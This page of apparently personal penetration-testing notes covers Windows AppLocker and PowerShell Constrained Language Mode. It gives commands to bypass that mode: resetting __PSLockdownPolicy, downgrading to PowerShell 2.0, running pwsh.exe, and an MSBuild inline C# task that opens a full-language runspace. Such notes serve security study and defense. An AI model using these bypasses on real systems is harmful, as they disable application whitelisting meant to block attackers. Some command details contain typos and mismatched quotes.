Hacking Notes logo Hacking Notes

AppLocker

AppLocker is a Windows Defender functionallity which helps you control which apps and files users can run. These include executable files, scripts, Windows Installer files, dynamic-link libraries (DLLs), packaged apps, and packaged app installers.

AppLocker can help you:

Check Rules

With the cmdlet Get-AppLockerPolicy we can check which rules are enabled on the machine.

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Constrained Language (Powershell)

When Applocker is configured on a machine we drop into a Constrained Language Mode (CLM) when we connect using PowerShell Remoting.

PowerShell Constrained Language is a language mode of PowerShell designed to support day-to-day administrative tasks, yet restrict access to sensitive language elements that can be used to invoke arbitrary Windows APIs.

$ExecutionContext.SessionState.LanguageMode

PowerShell included an environment variable for debugging and unit testing called __PSLockdownPolicy.

Enable PS Constrained Language Mode

Enabling constrained language mode, that dows not allow powershell execute complex ataccks such as mimikatz.

[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4’, 'Machine')

Bypass PS Constrained Language Mode

Via GUI

However, if you have access to the system and enough privileges to change environment variables, you can bypass it by removing the variable __PSLockdownPolicy and re-spawning another PowerShell instance.

[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '8', 'Machine')

PowerShell Downgrade

If PowerShell 2.0 is installed we can bypass it via spawning a PowerShell 2.0 instance.

powershell -version 2

https://www.ired.team/offensive-security/code-execution/powershell-constrained-language-mode-bypass

PowerShell Upgrade (PowerShell v6)

PowerShell v6.0.0 (pwsh.exe) has only Script Block Logging and AMSI, so we can bypass Constrained Language using PSv6.

pwsh.exe

Unmanaged PowerShell Runspace

We can create a C# assembly that runs powershell on a FullLanguage mode.

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="MSBuild">
   <MSBuildTest/>
  </Target>
   <UsingTask
    TaskName="MSBuildTest"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
     <Task>
     <Reference Include="System.Management.Automation" />
      <Code Type="Class" Language="cs">
        <![CDATA[

            using System;
            using System.Linq;
            using System.Management.Automation;
            using System.Management.Automation.Runspaces;

            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;

            public class MSBuildTest :  Task, ITask
            {
                public override bool Execute()
                {
                    using (var runspace = RunspaceFactory.CreateRunspace())
                    {
                      runspace.Open();

                      using (var posh = PowerShell.Create())
                      {
                        posh.Runspace = runspace;
                        posh.AddScript("$ExecutionContext.SessionState.LanguageMode");
                                                
                        var results = posh.Invoke();
                        var output = string.Join(Environment.NewLine, results.Select(r => r.ToString()).ToArray());
                        
                        Console.WriteLine(output);
                      }
                    }

                return true;
              }
            }

        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

References